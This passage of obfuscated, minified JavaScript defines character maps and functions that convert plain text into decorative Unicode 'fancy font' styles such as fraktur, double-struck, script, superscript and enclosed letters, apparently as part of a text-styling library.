fancy6chrmap={0x0:'0',0x1:'1',0x2:'2',0x3:'3',0x4:'4',0x5:'5',0x6:'6',0x7:'7',0x8:'8',0x9:'9','a':'Ꮧ','b':'Ᏸ','c':'ፈ','d':'Ꮄ','e':'Ꮛ','f':'Ꭶ','g':'Ꮆ','h':'Ꮒ','i':'Ꭵ','j':'Ꮰ','k':'Ꮶ','l':'Ꮭ','m':'Ꮇ','n':'Ꮑ','o':'Ꭷ','p':'Ꭾ','q':'Ꭴ','r':'Ꮢ','s':'Ꮥ','t':'Ꮦ','u':'Ꮼ','v':'Ꮙ','w':'Ꮗ','x':'ጀ','y':'Ꭹ','z':'ፚ','A':'Ꮧ','B':'Ᏸ','C':'ፈ','D':'Ꮄ','E':'Ꮛ','F':'Ꭶ','G':'Ꮆ','H':'Ꮒ','I':'Ꭵ','J':'Ꮰ','K':'Ꮶ','L':'Ꮭ','M':'Ꮇ','N':'Ꮑ','O':'Ꭷ','P':'Ꭾ','Q':'Ꭴ','R':'Ꮢ','S':'Ꮥ','T':'Ꮦ','U':'Ꮼ','V':'Ꮙ','W':'Ꮗ','X':'ጀ','Y':'Ꭹ','Z':'ፚ'};function fancy6(_0x37ec8b){const _0x137213=_0x138321;return _0x37ec8b['split']('')[_0x137213(0x226)](function(_0x260013){return fancy6chrmap[_0x260013]?fancy6chrmap[_0x260013]:_0x260013;})[_0x137213(0x20e)]('');}const fancy7chrmap={0x0:'0',0x1:'1',0x2:'2',0x3:'3',0x4:'4',0x5:'5',0x6:'6',0x7:'7',0x8:'8',0x9:'9','a':'ᗩ','b':'ᗷ','c':'ᑕ','d':'ᗪ','e':'E','f':'ᖴ','g':'G','h':'ᕼ','i':'I','j':'ᒍ','k':'K','l':'ᒪ','m':'ᗰ','n':'ᑎ','o':'O','p':'ᑭ','q':'ᑫ','r':'ᖇ','s':'ᔕ','t':'T','u':'ᑌ','v':'ᐯ','w':'ᗯ','x':'᙭','y':'Y','z':'ᘔ','A':'ᗩ','B':'ᗷ','C':'ᑕ','D':'ᗪ','E':'E','F':'ᖴ','G':'G','H':'ᕼ','I':'I','J':'ᒍ','K':'K','L':'ᒪ','M':'ᗰ','N':'ᑎ','O':'O','P':'ᑭ','Q':'ᑫ','R':'ᖇ','S':'ᔕ','T':'T','U':'ᑌ','V':'ᐯ','W':'ᗯ','X':'᙭','Y':'Y','Z':'ᘔ'};function fancy7(_0x493f87){const _0x179caa=_0x138321;return _0x493f87['split']('')['map'](function(_0x5d800b){return fancy7chrmap[_0x5d800b]?fancy7chrmap[_0x5d800b]:_0x5d800b;})[_0x179caa(0x20e)]('');}const fancy8chrmap={0x0:'0',0x1:'1',0x2:'2',0x3:'3',0x4:'4',0x5:'5',0x6:'6',0x7:'7',0x8:'8',0x9:'9','a':'ǟ','b':'ɮ','c':'ƈ','d':'ɖ','e':'ɛ','f':'ʄ','g':'ɢ','h':'ɦ','i':'ɨ','j':'ʝ','k':'ӄ','l':'ʟ','m':'ʍ','n':'ռ','o':'օ','p':'ք','q':'զ','r':'ʀ','s':'ֆ','t':'ȶ','u':'ʊ','v':'ʋ','w':'ա','x':'Ӽ','y':'ʏ','z':'ʐ','A':'ǟ','B':'ɮ','C':'ƈ','D':'ɖ','E':'ɛ','F':'ʄ','G':'ɢ','H':'ɦ','I':'ɨ','J':'ʝ','K':'ӄ','L':'ʟ','M':'ʍ','N':'ռ','O':'օ','P':'ք','Q':'զ','R':'ʀ','S':'ֆ','T':'ȶ','U':'ʊ','V':'ʋ','W':'ա','X':'Ӽ','Y':'ʏ','Z':'ʐ'};function fancy8(_0x3f0332){const _0x1aa1ea=_0x138321;return _0x3f0332[_0x1aa1ea(0x203)]('')[_0x1aa1ea(0x226)](function(_0x218d54){return fancy8chrmap[_0x218d54]?fancy8chrmap[_0x218d54]:_0x218d54;})[_0x1aa1ea(0x20e)]('');}const fancy9chrmap={0x0:'𝟶',0x1:'𝟷',0x2:'𝟸',0x3:'𝟹',0x4:'𝟺',0x5:'𝟻',0x6:'𝟼',0x7:'𝟽',0x8:'𝟾',0x9:'𝟿','a':'𝚊','b':'𝚋','c':'𝚌','d':'𝚍','e':'𝚎','f':'𝚏','g':'𝚐','h':'𝚑','i':'𝚒','j':'𝚓','k':'𝚔','l':'𝚕','m':'𝚖','n':'𝚗','o':'𝚘','p':'𝚙','q':'𝚚','r':'𝚛','s':'𝚜','t':'𝚝','u':'𝚞','v':'𝚟','w':'𝚠','x':'𝚡','y':'𝚢','z':'𝚣','A':'𝙰','B':'𝙱','C':'𝙲','D':'𝙳','E':'𝙴','F':'𝙵','G':'𝙶','H':'𝙷','I':'𝙸','J':'𝙹','K':'𝙺','L':'𝙻','M':'𝙼','N':'𝙽','O':'𝙾','P':'𝙿','Q':'𝚀','R':'𝚁','S':'𝚂','T':'𝚃','U':'𝚄','V':'𝚅','W':'𝚆','X':'𝚇','Y':'𝚈','Z':'𝚉'};function fancy9(_0x4a63d2){const _0x3ce159=_0x138321;return _0x4a63d2[_0x3ce159(0x203)]('')['map'](function(_0x410df8){return fancy9chrmap[_0x410df8]?fancy9chrmap[_0x410df8]:_0x410df8;})[_0x3ce159(0x20e)]('');}const fancy10chrmap={0x0:'0',0x1:'1',0x2:'2',0x3:'3',0x4:'4',0x5:'5',0x6:'6',0x7:'7',0x8:'8',0x9:'9','a':'𝙖','b':'𝙗','c':'𝙘','d':'𝙙','e':'𝙚','f':'𝙛','g':'𝙜','h':'𝙝','i':'𝙞','j':'𝙟','k':'𝙠','l':'𝙡','m':'𝙢','n':'𝙣','o':'𝙤','p':'𝙥','q':'𝙦','r':'𝙧','s':'𝙨','t':'𝙩','u':'𝙪','v':'𝙫','w':'𝙬','x':'𝙭','y':'𝙮','z':'𝙯','A':'𝘼','B':'𝘽','C':'𝘾','D':'𝘿','E':'𝙀','F':'𝙁','G':'𝙂','H':'𝙃','I':'𝙄','J':'𝙅','K':'𝙆','L':'𝙇','M':'𝙈','N':'𝙉','O':'𝙊','P':'𝙋','Q':'𝙌','R':'𝙍','S':'𝙎','T':'𝙏','U':'𝙐','V':'𝙑','W':'𝙒','X':'𝙓','Y':'𝙔','Z':'𝙕'};function fancy10(_0x3e1343){const _0x50259e=_0x138321;return _0x3e1343[_0x50259e(0x203)]('')[_0x50259e(0x226)](function(_0x46cc18){return fancy10chrmap[_0x46cc18]?fancy10chrmap[_0x46cc18]:_0x46cc18;})[_0x50259e(0x20e)]('');}const fancy11chrmap={0x0:'𝟬',0x1:'𝟭',0x2:'𝟮',0x3:'𝟯',0x4:'𝟰',0x5:'𝟱',0x6:'𝟲',0x7:'𝟳',0x8:'𝟴',0x9:'𝟵','a':'𝗮','b':'𝗯','c':'𝗰','d':'𝗱','e':'𝗲','f':'𝗳','g':'𝗴','h':'𝗵','i':'𝗶','j':'𝗷','k':'𝗸','l':'𝗹','m':'𝗺','n':'𝗻','o':'𝗼','p':'𝗽','q':'𝗾','r':'𝗿','s':'𝘀','t':'𝘁','u':'𝘂','v':'𝘃','w':'𝘄','x':'𝘅','y':'𝘆','z':'𝘇','A':'𝗔','B':'𝗕','C':'𝗖','D':'𝗗','E':'𝗘','F':'𝗙','G':'𝗚','H':'𝗛','I':'𝗜','J':'𝗝','K':'𝗞','L':'𝗟','M':'𝗠','N':'𝗡','O':'𝗢','P':'𝗣','Q':'𝗤','R':'𝗥','S':'𝗦','T':'𝗧','U':'𝗨','V':'𝗩','W':'𝗪','X':'𝗫','Y':'𝗬','Z':'𝗭'};function fancy11(_0xf7dc31){const _0x3c9fb3=_0x138321;return _0xf7dc31[_0x3c9fb3(0x203)]('')['map'](function(_0x52ca8d){return fancy11chrmap[_0x52ca8d]?fancy11chrmap[_0x52ca8d]:_0x52ca8d;})['join']('');}const fancy12chrmap={0x0:'𝟎',0x1:'𝟏',0x2:'𝟐',0x3:'𝟑',0x4:'𝟒',0x5:'𝟓',0x6:'𝟔',0x7:'𝟕',0x8:'𝟖',0x9:'𝟗','a':'𝐚','b':'𝐛','c':'𝐜','d':'𝐝','e':'𝐞','f':'𝐟','g':'𝐠','h':'𝐡','i':'𝐢','j':'𝐣','k':'𝐤','l':'𝐥','m':'𝐦','n':'𝐧','o':'𝐨','p':'𝐩','q':'𝐪','r':'𝐫','s':'𝐬','t':'𝐭','u':'𝐮','v':'𝐯','w':'𝐰','x':'𝐱','y':'𝐲','z':'𝐳','A':'𝐀','B':'𝐁','C':'𝐂','D':'𝐃','E':'𝐄','F':'𝐅','G':'𝐆','H':'𝐇','I':'𝐈','J':'𝐉','K':'𝐊','L':'𝐋','M':'𝐌','N':'𝐍','O':'𝐎','P':'𝐏','Q':'𝐐','R':'𝐑','S':'𝐒','T':'𝐓','U':'𝐔','V':'𝐕','W':'𝐖','X':'𝐗','Y':'𝐘','Z':'𝐙'};function fancy12(_0x22611c){const _0x342988=_0x138321;return _0x22611c[_0x342988(0x203)]('')[_0x342988(0x226)](function(_0x14da50){return fancy12chrmap[_0x14da50]?fancy12chrmap[_0x14da50]:_0x14da50;})[_0x342988(0x20e)]('');}const fancy13chrmap={'0':'0','1':'1','2':'2','3':'3','4':'4','5':'5','6':'6','7':'7','8':'8','9':'9','a':'𝘢','b':'𝘣','c':'𝘤','d':'𝘥','e':'𝘦','f':'𝘧','g':'𝘨','h':'𝘩','i':'𝘪','j':'𝘫','k':'𝘬','l':'𝘭','m':'𝘮','n':'𝘯','o':'𝘰','p':'𝘱','q':'𝘲','r':'𝘳','s':'𝘴','t':'𝘵','u':'𝘶','v':'𝘷','w':'𝘸','x':'𝘹','y':'𝘺','z':'𝘻','A':'𝘈','B':'𝘉','C':'𝘊','D':'𝘋','E':'𝘌','F':'𝘍','G':'𝘎','H':'𝘏','I':'𝘐','J':'𝘑','K':'𝘒','L':'𝘓','M':'𝘔','N':'𝘕','O':'𝘖','P':'𝘗','Q':'𝘘','R':'𝘙','S':'𝘚','T':'𝘛','U':'𝘜','V':'𝘝','W':'𝘞','X':'𝘟','Y':'𝘠','Z':'𝘡'};function fancy13(_0xffbbb4){const _0x3121ff=_0x138321;return _0xffbbb4[_0x3121ff(0x203)]('')[_0x3121ff(0x226)](function(_0xe19a48){return fancy13chrmap[_0xe19a48]?fancy13chrmap[_0xe19a48]:_0xe19a48;})[_0x3121ff(0x20e)]('');}const fancy14chrmap={'0':'0','1':'1','2':'2','3':'3','4':'4','5':'5','6':'6','7':'7','8':'8','9':'9','a':'α','b':'Ⴆ','c':'ƈ','d':'ԃ','e':'ҽ','f':'ϝ','g':'ɠ','h':'ԋ','i':'ι','j':'ʝ','k':'ƙ','l':'ʅ','m':'ɱ','n':'ɳ','o':'σ','p':'ρ','q':'ϙ','r':'ɾ','s':'ʂ','t':'ƚ','u':'υ','v':'ʋ','w':'ɯ','x':'x','y':'ყ','z':'ȥ','A':'A','B':'B','C':'C','D':'D','E':'E','F':'F','G':'G','H':'H','I':'I','J':'J','K':'K','L':'L','M':'M','N':'N','O':'O','P':'P','Q':'Q','R':'R','S':'S','T':'T','U':'U','V':'V','W':'W','X':'X','Y':'Y','Z':'Z'};function fancy14(_0x170fb3){const _0x43d223=_0x138321;return _0x170fb3[_0x43d223(0x203)]('')[_0x43d223(0x226)](function(_0x290d00){return fancy14chrmap[_0x290d00]?fancy14chrmap[_0x290d00]:_0x290d00;})['join']('');}const fancy15chrmap={'0':'0','1':'1','2':'2','3':'3','4':'4','5':'5','6':'6','7':'7','8':'8','9':'9','a':'₳','b':'฿','c':'₵','d':'Đ','e':'Ɇ','f':'₣','g':'₲','h':'Ⱨ','i':'ł','j':'J','k':'₭','l':'Ⱡ','m':'₥','n':'₦','o':'Ø','p':'₱','q':'Q','r':'Ɽ','s':'₴','t':'₮','u':'Ʉ','v':'V','w':'₩','x':'Ӿ','y':'Ɏ','z':'Ⱬ','A':'₳','B':'฿','C':'₵','D':'Đ','E':'Ɇ','F':'₣','G':'₲','H':'Ⱨ','I':'ł','J':'J','K':'₭','L':'Ⱡ','M':'₥','N':'₦','O':'Ø','P':'₱','Q':'Q','R':'Ɽ','S':'₴','T':'₮','U':'Ʉ','V':'V','W':'₩','X':'Ӿ','Y':'Ɏ','Z':'Ⱬ'};function fancy15(_0x53a09e){const _0x2f3a5f=_0x138321;return _0x53a09e[_0x2f3a5f(0x203)]('')['map'](function(_0x39bc5c){return fancy15chrmap[_0x39bc5c]?fancy15chrmap[_0x39bc5c]:_0x39bc5c;})[_0x2f3a5f(0x20e)]('');}const fancy16chrmap={'0':'0','1':'1','2':'2','3':'3','4':'4','5':'5','6':'6','7':'7','8':'8','9':'9','a':'å','b':'ß','c':'¢','d':'Ð','e':'ê','f':'£','g':'g','h':'h','i':'ï','j':'j','k':'k','l':'l','m':'m','n':'ñ','o':'ð','p':'þ','q':'q','r':'r','s':'§','t':'†','u':'µ','v':'v','w':'w','x':'x','y':'¥','z':'z','A':'Ä','B':'ß','C':'Ç','D':'Ð','E':'È','F':'£','G':'G','H':'H','I':'Ì','J':'J','K':'K','L':'L','M':'M','N':'ñ','O':'Ö','P':'þ','Q':'Q','R':'R','S':'§','T':'†','U':'Ú','V':'V','W':'W','X':'×','Y':'¥','Z':'Z'};function fancy16(_0x15bd42){const _0x5136a1=_0x138321;return _0x15bd42['split']('')[_0x5136a1(0x226)](function(_0x157ffd){return fancy16chrmap[_0x157ffd]?fancy16chrmap[_0x157ffd]:_0x157ffd;})[_0x5136a1(0x20e)]('');}const fancy17chrmap={'0':'0','1':'1','2':'2','3':'3','4':'4','5':'5','6':'6','7':'7','8':'8','9':'9','a':'α','b':'в','c':'¢','d':'∂','e':'є','f':'ƒ','g':'g','h':'н','i':'ι','j':'נ','k':'к','l':'ℓ','m':'м','n':'η','o':'σ','p':'ρ','q':'q','r':'я','s':'ѕ','t':'т','u':'υ','v':'ν','w':'ω','x':'χ','y':'у','z':'z','A':'α','B':'в','C':'¢','D':'∂','E':'є','F':'ƒ','G':'g','H':'н','I':'ι','J':'נ','K':'к','L':'ℓ','M':'м','N':'η','O':'σ','P':'ρ','Q':'q','R':'я','S':'ѕ','T':'т','U':'υ','V':'ν','W':'ω','X':'χ','Y':'у','Z':'z'};function fancy17(_0x43ccc2){const _0x33886f=_0x138321;return _0x43ccc2['split']('')[_0x33886f(0x226)](function(_0x244d22){return fancy17chrmap[_0x244d22]?fancy17chrmap[_0x244d22]:_0x244d22;})['join']('');}const fancy18chrmap={'0':'0','1':'1','2':'2','3':'3','4':'4','5':'5','6':'6','7':'7','8':'8','9':'9','a':'Λ','b':'B','c':'ᄃ','d':'D','e':'Σ','f':'F','g':'G','h':'Ή','i':'I','j':'J','k':'K','l':'ᄂ','m':'M','n':'П','o':'Ө','p':'P','q':'Q','r':'Я','s':'Ƨ','t':'Ƭ','u':'Ц','v':'V','w':'Щ','x':'X','y':'Y','z':'Z','A':'Λ','B':'B','C':'ᄃ','D':'D','E':'Σ','F':'F','G':'G','H':'Ή','I':'I','J':'J','K':'K','L':'ᄂ','M':'M','N':'П','O':'Ө','P':'P','Q':'Q','R':'Я','S':'Ƨ','T':'Ƭ','U':'Ц','V':'V','W':'Щ','X':'X','Y':'Y','Z':'Z'};function fancy18(_0x4eb3d7){const _0x56ffd1=_0x138321;return _0x4eb3d7[_0x56ffd1(0x203)]('')[_0x56ffd1(0x226)](function(_0x130d02){return fancy18chrmap[_0x130d02]?fancy18chrmap[_0x130d02]:_0x130d02;})[_0x56ffd1(0x20e)]('');}const fancy19chrmap={'0':'⊘','1':'𝟙','2':'ϩ','3':'Ӡ','4':'५','5':'Ƽ','6':'Ϭ','7':'7','8':'𝟠','9':'९','a':'ą','b':'ҍ','c':'ç','d':'ժ','e':'ҽ','f':'ƒ','g':'ց','h':'հ','i':'ì','j':'ʝ','k':'ҟ','l':'Ӏ','m':'ʍ','n':'ղ','o':'օ','p':'ք','q':'զ','r':'ɾ','s':'ʂ','t':'է','u':'մ','v':'ѵ','w':'ա','x':'×','y':'վ','z':'Հ','A':'Ⱥ','B':'β','C':'↻','D':'Ꭰ','E':'Ɛ','F':'Ƒ','G':'Ɠ','H':'Ƕ','I':'į','J':'ل','K':'Ҡ','L':'Ꝉ','M':'Ɱ','N':'ហ','O':'ට','P':'φ','Q':'Ҩ','R':'འ','S':'Ϛ','T':'Ͳ','U':'Ա','V':'Ỽ','W':'చ','X':'ჯ','Y':'Ӌ','Z':'ɀ'};function fancy19(_0x1dceec){const _0x58abdc=_0x138321;return _0x1dceec[_0x58abdc(0x203)]('')[_0x58abdc(0x226)](function(_0x516e48){return fancy19chrmap[_0x516e48]?fancy19chrmap[_0x516e48]:_0x516e48;})['join']('');}const fancy20chrmap={'0':'₀','1':'₁','2':'₂','3':'₃','4':'₄','5':'₅','6':'₆','7':'₇','8':'₈','9':'₉','a':'ₐ','b':'b','c':'c','d':'d','e':'ₑ','f':'f','g':'g','h':'ₕ','i':'ᵢ','j':'ⱼ','k':'ₖ','l':'ₗ','m':'ₘ','n':'ₙ','o':'ₒ','p':'ₚ','q':'q','r':'ᵣ','s':'ₛ','t':'ₜ','u':'ᵤ','v':'ᵥ','w':'w','x':'ₓ','y':'y','z':'z','A':'ₐ','B':'B','C':'C','D':'D','E':'ₑ','F':'F','G':'G','H':'ₕ','I':'ᵢ','J':'ⱼ','K':'ₖ','L':'ₗ','M':'ₘ','N':'ₙ','O':'ₒ','P':'ₚ','Q':'Q','R':'ᵣ','S':'ₛ','T':'ₜ','U':'ᵤ','V':'ᵥ','W':'W','X':'ₓ','Y':'Y','Z':'Z'};function fancy20(_0x399375){const _0x302095=_0x138321;return _0x399375['split']('')[_0x302095(0x226)](function(_0x90cdf9){return fancy20chrmap[_0x90cdf9]?fancy20chrmap[_0x90cdf9]:_0x90cdf9;})['join']('');}const fancy21chrmap={'0':'⁰','1':'¹','2':'²','3':'³','4':'⁴','5':'⁵','6':'⁶','7':'⁷','8':'⁸','9':'⁹','a':'ᵃ','b':'ᵇ','c':'ᶜ','d':'ᵈ','e':'ᵉ','f':'ᶠ','g':'ᵍ','h':'ʰ','i':'ⁱ','j':'ʲ','k':'ᵏ','l':'ˡ','m':'ᵐ','n':'ⁿ','o':'ᵒ','p':'ᵖ','q':'q','r':'ʳ','s':'ˢ','t':'ᵗ','u':'ᵘ','v':'ᵛ','w':'ʷ','x':'ˣ','y':'ʸ','z':'ᶻ','A':'ᴬ','B':'ᴮ','C':'ᶜ','D':'ᴰ','E':'ᴱ','F':'ᶠ','G':'ᴳ','H':'ᴴ','I':'ᴵ','J':'ᴶ','K':'ᴷ','L':'ᴸ','M':'ᴹ','N':'ᴺ','O':'ᴼ','P':'ᴾ','Q':'Q','R':'ᴿ','S':'ˢ','T':'ᵀ','U':'ᵁ','V':'ⱽ','W':'ᵂ','X':'ˣ','Y':'ʸ','Z':'ᶻ'};function fancy21(_0x5db349){const _0x4e97e3=_0x138321;return _0x5db349[_0x4e97e3(0x203)]('')[_0x4e97e3(0x226)](function(_0x384710){return fancy21chrmap[_0x384710]?fancy21chrmap[_0x384710]:_0x384710;})[_0x4e97e3(0x20e)]('');}function _0x59bc(){const _0x473341=['stringify','split','mirror','🕮︎','297660DExUMT','🕓︎','exports','🖬︎','🗐︎','🕖︎','🕔︎','🖰︎','join','👎︎','encode','📫︎','🖂︎','trim','push','👓︎','📂︎','roundsquares','🗄︎','212589uaNiVr','🕯︎','creepify','🗏︎','📁︎','🕚︎','🏱︎','6945156bnQbcD','💧︎','🕕︎','🕭︎','📪︎','16283504kaAJCT','map','4503egcjoi','🕛︎','🖮︎','🕘︎','💣︎','tools','random','🖃︎','🕐︎','🕿︎','🕑︎','floor','maxHeight','🕙︎','4234188xEwBGJ','🕆︎','📬︎','776BYFzrl','squares','bubbles','32940LsTTdZ','length','🖲︎'];_0x59bc=function(){return _0x473341;};return _0x59bc();}const fancy22chrmap={'0':'0','1':'1','2':'2','3':'3','4':'4','5':'5','6':'6','7':'7','8':'8','9':'9','a':'ค','b':'๒','c':'ς','d':'๔','e':'є','f':'Ŧ','g':'ﻮ','h':'ђ','i':'เ','j':'ן','k':'к','l':'ɭ','m':'๓','n':'ภ','o':'๏','p':'ק','q':'ợ','r':'г','s':'ร','t':'Շ','u':'ย','v':'ש','w':'ฬ','x':'א','y':'ץ','z':'չ','A':'ค','B':'๒','C':'ς','D':'๔','E':'є','F':'Ŧ','G':'ﻮ','H':'ђ','I':'เ','J':'ן','K':'к','L':'ɭ','M':'๓','N':'ภ','O':'๏','P':'ק','Q':'ợ','R':'г','S':'ร','T':'Շ','U':'ย','V':'ש','W':'ฬ','X':'א','Y':'ץ','Z':'չ'};function _0x498e(_0x1112ee,_0xf5b598){const _0x59bc1d=_0x59bc();return _0x498e=function(_0x498ee4,_0x249b8c){_0x498ee4=_0x498ee4-0x1ec;let _0x4833c5=_0x59bc1d[_0x498ee4];return _0x4833c5;},_0x498e(_0x1112ee,_0xf5b598);}function fancy22(_0x3b6cb2){const _0x266dc0=_0x138321;return _0x3b6cb2['split']('')['map'](function(_0x3dc0b6){return fancy22chrmap[_0x3dc0b6]?fancy22chrmap[_0x3dc0b6]:_0x3dc0b6;})[_0x266dc0(0x20e)]('');};const fancy23chrmap={'0':'𝟘','1':'𝟙','2':'𝟚','3':'𝟛','4':'𝟜','5':'𝟝','6':'𝟞','7':'𝟟','8':'𝟠','9':'𝟡','a':'𝕒','b':'𝕓','c':'𝕔','d':'𝕕','e':'𝕖','f':'𝕗','g':'𝕘','h':'𝕙','i':'𝕚','j':'𝕛','k':'𝕜','l':'𝕝','m':'𝕞','n':'𝕟','o':'𝕠','p':'𝕡','q':'𝕢','r':'𝕣','s':'𝕤','t':'𝕥','u':'𝕦','v':'𝕧','w':'𝕨','x':'𝕩','y':'𝕪','z':'𝕫','A':'𝔸','B':'𝔹','C':'ℂ','D':'𝔻','E':'𝔼','F':'𝔽','G':'𝔾','H':'ℍ','I':'𝕀','J':'𝕁','K':'𝕂','L':'𝕃','M':'𝕄','N':'ℕ','O':'𝕆','P':'ℙ','Q':'ℚ','R':'ℝ','S':'𝕊','T':'𝕋','U':'𝕌','V':'𝕍','W':'𝕎','X':'𝕏','Y':'𝕐','Z':'ℤ'};function fancy23(_0x1f1d9c){const _0x58b97d=_0x138321;return _0x1f1d9c[_0x58b97d(0x203)]('')[_0x58b97d(0x226)](function(_0x132d34){return fancy23chrmap[_0x132d34]?fancy23chrmap[_0x132d34]:_0x132d34;})['join']('');};const fancy24chrmap={'0':'0','1':'1','2':'2','3':'3','4':'4','5':'5','6':'6','7':'7','8':'8','9':'9','a':'𝖆','b':'𝖇','c':'𝖈','d':'𝖉','e':'𝖊','f':'𝖋','g':'𝖌','h':'𝖍','i':'𝖎','j':'𝖏','k':'𝖐','l':'𝖑','m':'𝖒','n':'𝖓','o':'𝖔','p':'𝖕','q':'𝖖','r':'𝖗','s':'𝖘','t':'𝖙','u':'𝖚','v':'𝖛','w':'𝖜','x':'𝖝','y':'𝖞','z':'𝖟','A':'𝕬','B':'𝕭','C':'𝕮','D':'𝕯','E':'𝕰','F':'𝕱','G':'𝕲','H':'𝕳','I':'𝕴','J':'𝕵','K':'𝕶','L':'𝕷','M':'𝕸','N':'𝕹','O':'𝕺','P':'𝕻','Q':'𝕼','R':'𝕽','S':'𝕾','T':'𝕿','U':'𝖀','V':'𝖁','W':'𝖂','X':'𝖃','Y':'𝖄','Z':'𝖅'};function fancy24(_0x517fd2){const _0xd28f3b=_0x138321;return _0x517fd2[_0xd28f3b(0x203)]('')[_0xd28f3b(0x226)](function(_0x1cd11f){return fancy24chrmap[_0x1cd11f]?fancy24chrmap[_0x1cd11f]:_0x1cd11f;})[_0xd28f3b(0x20e)]('');};const fancy25chrmap={'0':'0','1':'1','2':'2','3':'3','4':'4','5':'5','6':'6','7':'7','8':'8','9':'9','a':'🅰','b':'🅱','c':'🅲','d':'🅳','e':'🅴','f':'🅵','g':'🅶','h':'🅷','i':'🅸','j':'🅹','k':'🅺','l':'🅻','m':'🅼','n':'🅽','o':'🅾','p':'🅿','q':'🆀','r':'🆁','s':'🆂','t':'🆃','u':'🆄','v':'🆅','w':'🆆','x':'🆇','y':'🆈','z':'🆉','A':'🅰','B':'🅱','C':'🅲','D':'🅳','E':'🅴','F':'🅵','G':'🅶','H':'🅷','I':'🅸','J':'🅹','K':'🅺','L':'🅻','M':'🅼','N':'🅽','O':'🅾','P':'🅿','Q':'🆀','R':'🆁','S':'🆂','T':'🆃','U':'🆄','V':'🆅','W':'🆆','X':'🆇','Y':'🆈','Z':'🆉'};function fancy25(_0xa22669){const _0x1e9d47=_0x138321;return _0xa22669[_0x1e9d47(0x203)]('')['map'](function(_0x48b389){return fancy25chrmap[_0x48b389]?fancy25chrmap[_0x48b389]:_0x48b389;})[_0x1e9d47(0x20e)]('');};const fancy26chrmap={'0':'0','1':'1','2':'2','3':'3','4':'4','5':'5','6':'6','7':'7','8':'8','9':'9','a':'𝓪','b':'𝓫','c':'𝓬','d':'𝓭','e':'𝓮','f':'𝓯','g':'𝓰','h':'𝓱','i':'𝓲','j':'𝓳','k':'𝓴','l':'𝓵','m':'𝓶','n':'𝓷','o':'𝓸','p':'𝓹','q':'𝓺','r':'𝓻','s':'𝓼','t':'𝓽','u':'𝓾','v':'𝓿','w':'𝔀','x':'𝔁','y':'𝔂','z':'𝔃','A':'𝓐','B':'𝓑','C':'𝓒','D':'𝓓','E':'𝓔','F':'𝓕','G':'𝓖','H':'𝓗','I':'𝓘','J':'𝓙','K':'𝓚','L':'𝓛','M':'𝓜','N':'𝓝','O':'𝓞','P':'𝓟','Q':'𝓠','R':'𝓡','S':'𝓢','T':'𝓣','U':'𝓤','V':'𝓥','W':'𝓦','X':'𝓧','Y':'𝓨','Z':'𝓩'};function fancy26(_0x48c64a){const _0x571874=_0x138321;return _0x48c64a[_0x571874(0x203)]('')[_0x571874(0x226)](function(_0x20a208){return fancy26chrmap[_0x20a208]?fancy26chrmap[_0x20a208]:_0x20a208;})[_0x571874(0x20e)]('');};const fancy27chrmap={'0':'0','1':'1','2':'2','3':'3','4':'4','5':'5','6':'6','7':'7','8':'8','9':'9','a':'𝔞','b':'𝔟','c':'𝔠','d':'𝔡','e':'𝔢','f':'𝔣','g':'𝔤','h':'𝔥','i':'𝔦','j':'𝔧','k':'𝔨','l':'𝔩','m':'𝔪','n':'𝔫','o':'𝔬','p':'𝔭','q':'𝔮','r':'𝔯','s':'𝔰','t':'𝔱','u':'𝔲','v':'𝔳','w':'𝔴','x':'𝔵','y':'𝔶','z':'𝔷','A':'𝔄','B':'𝔅','C':'ℭ','D':'𝔇','E':'𝔈','F':'𝔉','G':'𝔊','H':'ℌ','I':'ℑ','J':'𝔍','K':'𝔎','L':'𝔏','M':'𝔐','N':'𝔑','O':'�','P':'𝔓','Q':'𝔔','R':'ℜ','S':'𝔖','T':'𝔗','U':'𝔘','V':'𝔙','W':'𝔚','X':'𝔛','Y':'𝔜','Z':'ℨ'};function fancy27(_0x4d53c2){const _0x261e0d=_0x138321;return _0x4d53c2[_0x261e0d(0x203)]('')[_0x261e0d(0x226)](function(_0x26304e){return fancy27chrmap[_0x26304e]?fancy27chrmap[_0x26304e]:_0x26304e;})[_0x261e0d(0x20e)]('');};const fancy28chrmap={'0':'0','1':'1','2':'2','3':'3','4':'4','5':'5','6':'6','7':'7','8':'8','9':'9','a':'a','b':'b','c':'c','d':'d','e':'e','f':'f','g':'g','h':'h','i':'i','j':'j','k':'k','l':'l','m':'m','n':'n','o':'o','p':'p','q':'q','r':'r','s':'s','t':'t','u':'u','v':'v','w':'w','x':'x','y':'y','z':'z','A':'A','B':'B','C':'C','D':'D','E':'E','F':'F','G':'G','H':'H','I':'I','J':'J','K':'K','L':'L','M':'M','N':'N','O':'O','P':'P','Q':'Q','R':'R','S':'S','T':'T','U':'U','V':'V','W':'W','X':'X','Y':'Y','Z':'Z'};function fancy28(_0x50e8ce){const _0xcfeecb=_0x138321;return _0x50e8ce[_0xcfeecb(0x203)]('')[_0xcfeecb(0x226)](function(_0x19ccff){return fancy28chrmap[_0x19ccff]?fancy28chrmap[_0x19ccff]:_0x19ccff;})[_0xcfeecb(0x20e)]('');};const fancy29chrmap={'0':'0','1':'1','2':'2','3':'3','4':'4','5':'5','6':'6','7':'7','8':'8','9':'9','a':'𝒂','b':'𝒃','c':'𝒄','d':'𝒅','e':'𝒆','f':'𝒇','g':'𝒈','h':'𝒉','i':'𝒊','j':'𝒋','k':'𝒌','l':'𝒍','m':'𝒎','n':'𝒏','o':'𝒐','p':'𝒑','q':'𝒒','r':'𝒓','s':'𝒔','t':'𝒕','u':'𝒖','v':'𝒗','w':'𝒘','x':'𝒙','y':'𝒚','z':'𝒛','A':'𝑨','B':'𝑩','C':'𝑪','D':'𝑫','E':'𝑬','F':'𝑭','G':'𝑮','H':'𝑯','I':'𝑰','J':'𝑱','K':'𝑲','L':'𝑳','M':'𝑴','N':'𝑵','O':'𝑶','P':'𝑷','Q':'𝑸','R':'𝑹','S':'𝑺','T':'𝑻','U':'𝑼','V':'𝑽','W':'𝑾','X':'𝑿','Y':'𝒀','Z':'𝒁'};function fancy29(_0x532a85){const _0x4cb688=_0x138321;return _0x532a85[_0x4cb688(0x203)]('')[_0x4cb688(0x226)](function(_0x1e30e8){return fancy29chrmap[_0x1e30e8]?fancy29chrmap[_0x1e30e8]:_0x1e30e8;})['join']('');};const 